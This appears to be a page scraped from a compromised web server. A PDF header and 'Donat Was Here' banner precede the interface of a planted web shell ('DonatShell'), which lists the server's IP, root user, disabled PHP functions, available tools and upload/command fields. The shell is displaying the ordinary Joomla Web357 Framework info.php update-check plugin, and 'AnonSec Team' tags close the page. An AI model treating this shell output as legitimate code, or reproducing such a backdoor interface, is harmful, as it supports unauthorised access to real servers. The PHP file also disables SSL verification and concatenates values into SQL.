%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,mail,shell_exec,system,proc_open,popen,ini_alter,dl,proc_close,curl_exec,curl_multi_exec,readfile,parse_ini_file,escapeshellarg,escapeshellcmd,show_source,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,mail,php_uname,phpinfo
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/old/plugins/system/web357framework/elements/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/old/plugins/system/web357framework/elements/info.php
<?php
/* ======================================================
# Web357 Framework for Joomla! - v1.7.7 (Free version)
# -------------------------------------------------------
# For Joomla! CMS
# Author: Web357 (Yiannis Christodoulou)
# Copyright (©) 2009-2019 Web357. All rights reserved.
# License: GNU/GPLv3, http://www.gnu.org/licenses/gpl-3.0.html
# Website: https:/www.web357.com/
# Demo: https://demo.web357.com/joomla/web357framework
# Support: support@web357.com
# Last modified: 11 Jun 2019, 13:11:45
========================================================= */

defined('JPATH_BASE') or die;

require_once(JPATH_PLUGINS . DIRECTORY_SEPARATOR . "system" . DIRECTORY_SEPARATOR . "web357framework" . DIRECTORY_SEPARATOR . "elements" . DIRECTORY_SEPARATOR . "elements_helper.php");

jimport('joomla.form.formfield');

class JFormFieldinfo extends JFormField {
	
	protected $type = 'info';

	// check if url exists
	protected function url_exists($url) 
	{
		if ($this->_isCurl())
		{
			// cUrl method
			$ch = curl_init();

			$options = array(
				CURLOPT_URL            => $url,
				CURLOPT_RETURNTRANSFER => true,
				CURLOPT_HEADER         => true,
				CURLOPT_FOLLOWLOCATION => true,
				CURLOPT_ENCODING       => "",
				CURLOPT_SSL_VERIFYPEER => false,
				CURLOPT_AUTOREFERER    => true,
				CURLOPT_CONNECTTIMEOUT => 120,
				CURLOPT_TIMEOUT        => 120,
				CURLOPT_MAXREDIRS      => 10,
			);
			curl_setopt_array( $ch, $options );
			$response = curl_exec($ch); 
			$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); // $retcode >= 400 -> not found, $retcode = 200, found.

			if ($httpCode != 200)
			{
				// The URL does not exist
				return false;

			} else {
				return true;
			}

			curl_close($ch);
		}
		else
		{			
			// default method
			$file_headers = @get_headers($url);
			if($file_headers[0] == 'HTTP/1.1 404 Not Found')
			{
				return false;
			}
			else
			{
				return true;
			}
		}
	}

	protected function getInput()
	{
		return ' ';
	}

	protected function getLabel()
	{	
		// Retrieving request data using JInput
		$jinput = JFactory::getApplication()->input;
		
		// get extension's details
		$position = $this->element['position']; // version's position (top + bottom)
		$extension_type_single = $this->element['extension_type']; // component, module, plugin 
		$extension_type = $this->element['extension_type'].'s'; // components, modules, plugins 
		$extension_name = $this->element['extension_name']; // mod_name, com_name, plg_system_name
		$plugin_type = $this->element['plugin_type']; // system, authentication, content etc.
		$plugin_folder = (!empty($plugin_type) && $plugin_type != '') ? $plugin_type.'/' : '';
		$real_name = $this->element['real_name'];
		
		if (empty($extension_type) || empty($extension_name)):
			JFactory::getApplication()->enqueueMessage("Error in XML. Please, contact us at support@web357.com!", "error");
			return false;
		endif;
		
		// Get Joomla's version
		$jversion = new JVersion;
		$short_version = explode('.', $jversion->getShortVersion()); // 3.8.10
		$mini_version = $short_version[0].'.'.$short_version[1]; // 3.8
		
		$j25 = false;
		$j3x = false;
		if (version_compare( $mini_version, "2.5", "<=")):
			// j25
			$w357_ext_uptodate_class = 'w357_ext_uptodate_j25';
			$j25 = true;
		else:
			// j3x
			$w357_ext_uptodate_class = 'w357_ext_uptodate_j3x';
			$j3x = true;
		endif;

		// get current extension's version & creationDate from database
		$db = JFactory::getDBO();
		$query = "SELECT manifest_cache "
		."FROM #__extensions "
		."WHERE element = '".$extension_name."' and type = '".$extension_type_single."' "
		;
		$db->setQuery($query);
		$db->execute();
		$manifest = json_decode( $db->loadResult(), true );
		$current_version = (!empty($manifest['version'])) ? $manifest['version'] : '1.0.0';
		$current_creationDate = (!empty($manifest['creationDate'])) ? $manifest['creationDate'] : '10 Oct 1985';

		// Get extension name
		if (strpos($extension_name, '_') !== false) 
		{
			$extension_name_clean = explode('_', $extension_name);
			$extension_name = $extension_name_clean[1]; // e.g. get only supporthours, instead of mod_supporhours
		}

		// Get web357 releases json content
		$web357_releases_json_url = 'http://api.web357.com/web357api/get/web357/get-web357-extension-latest-version/?extension='.urlencode($extension_name);
		
		$web357_releases_json = '';
		if ($this->url_exists($web357_releases_json_url))
		{
			if ($this->_isCurl()) // check if extension=php_curl.dll is enabled from php.ini
			{
				// cUrl method
				$ch = curl_init();

				$options = array(
					CURLOPT_SSL_VERIFYPEER => false, // Disable SSL verification
					CURLOPT_RETURNTRANSFER => true, // // Will return the response, if false it print the response
					CURLOPT_URL            => $web357_releases_json_url, // Set the url
					CURLOPT_CONNECTTIMEOUT => 120,
					CURLOPT_TIMEOUT        => 120,
					CURLOPT_MAXREDIRS      => 10,
				);

				curl_setopt_array( $ch, $options ); // Add options to array
				
				$web357_releases_json = curl_exec($ch); // Execute

				curl_close($ch); // Closing

				// get data in a json
				$web357_releases_json = json_decode($web357_releases_json);

			}
			elseif ($this->_allowUrlFopen())
			{
				$web357_releases_json = file_get_contents($web357_releases_json_url);
				$web357_releases_json = json_decode($web357_releases_json);
			}
		}

		// Get the latest version of extension, from Web357.com
		$latest_version = $current_version;
		$latest_creationDate = $current_creationDate;

		if (!empty($web357_releases_json))
		{
			if ($web357_releases_json->extension == $extension_name)
			{
				$latest_version = $web357_releases_json->version;
				$latest_creationDate = date("d-M-Y", strtotime($web357_releases_json->date));
			}
		}

		// get changelog's url
		$real_ext_name_with_dashes = JText::_($real_name);
		$real_ext_name_with_dashes = str_replace(" (Pro version)", "", $real_ext_name_with_dashes);
		$real_ext_name_with_dashes = str_replace(" (Pro version)", "", $real_ext_name_with_dashes);
		$real_ext_name_with_dashes = str_replace(" (Free version)", "", $real_ext_name_with_dashes);
		$real_ext_name_with_dashes = str_replace(" PRO", "", $real_ext_name_with_dashes);
		$real_ext_name_with_dashes = str_replace(" FREE", "", $real_ext_name_with_dashes);
		$real_ext_name_with_dashes = str_replace("System - ", "", $real_ext_name_with_dashes);
		$real_ext_name_with_dashes = str_replace("Authentication - ", "", $real_ext_name_with_dashes);
		if ($real_ext_name_with_dashes != 'Web357 Framework')
		{
			$real_ext_name_with_dashes = str_replace("Web357 ", "", $real_ext_name_with_dashes);
		}
		$real_ext_name_with_dashes = strtolower(str_replace(" ", "-", $real_ext_name_with_dashes));
		$changelog_url = 'https://www.web357.com/product/'.$real_ext_name_with_dashes.'#changelog';  // e.g. support-hours

		// output
		$html  = '';
		$html .= '<div>';
		if (!empty($latest_version) && !empty($latest_creationDate))
		{
			if ($current_version === $latest_version)
			{
				$html .= '<div class="w357_ext_uptodate '.$jinput->get('option').' '.$w357_ext_uptodate_class.'">';
				$html .= '<div>'.JText::_('W357FRM_YOUR_CURRENT_VERSION_IS').': <a title="'.JText::_('W357FRM_VIEW_THE_CHANGELOG').'" href="'.$changelog_url.'" class="btn_view_changelog" target="_blank">'.$current_version.' ('.$current_creationDate.')</a><br />'.JText::_('W357FRM_UP_TO_DATE').'</div>';
				$html .= '</div>';
			}
			else
			{
				$html .= '<div class="w357_ext_notuptodate '.$jinput->get('option').'">'.JText::_('W357FRM_YOUR_CURRENT_VERSION_IS').': '.$current_version.' ('.$current_creationDate.').<br /><span>'.JText::_('W357FRM_UPDATE_TO_THE_LATEST_VERSION').' '.$latest_version.' ('.$latest_creationDate.')'.' {<a href="'.$changelog_url.'" target="_blank">'.JText::_('W357FRM_VIEW_THE_CHANGELOG').'</a>}.</span>
				<br />
				<a href="index.php?option=com_installer&view=update">'.JText::_('W357FRM_UPDATE_VIA_THE_JOOMLA_UPDATE_MANAGER').'</a>
				&nbsp;&nbsp;&nbsp;'.JText::_('W357FRM_OR').'&nbsp;&nbsp;&nbsp;
				<a href="https://www.web357.com/my-account/downloads/" target="_blank">'.JText::_('W357FRM_GO_TO_DOWNLOAD_AREA').'</a>
				</div>';
			}
		}
		else
		{
			$html .= '<div class="w357_ext_uptodate '.$jinput->get('option').'">'.JText::_('W357FRM_UP_TO_DATE').'</div>';
		}

		$html .= '</div>';

		// get joomla version for javascript file
		if (version_compare( $mini_version, "4.0", ">=")):
			// j4
			$js_jversion = 'j4x';
		elseif (version_compare( $mini_version, "3.0", ">=")):
			// j3
			$js_jversion = 'j3x';
		elseif (version_compare( $mini_version, "2.5", ">=")):
			// j25
			$js_jversion = 'j25x';
		else:
			// j
			$js_jversion = 'jx';
		endif;

		// get base url (for jquery)
		$base_url = str_replace('/administrator', '', JURI::base());
		$html .= '<div id="baseurl" data-baseurl="'.$base_url.'"></div>';
		$html .= '<div id="jversion" data-jversion="'.$js_jversion.'"></div>';

		return $html;
	}
	
	/**
	 * Check if the PHP function curl is enabled
	 */
	protected function _isCurl()
	{
		return function_exists('curl_version');
	}
	
	/**
	 * Check if the PHP function allow_url_fopen is enabled
	 */
	protected function _allowUrlFopen()
	{
		return ini_get('allow_url_fopen');
	}
}

Anon7 - 2022
AnonSec Team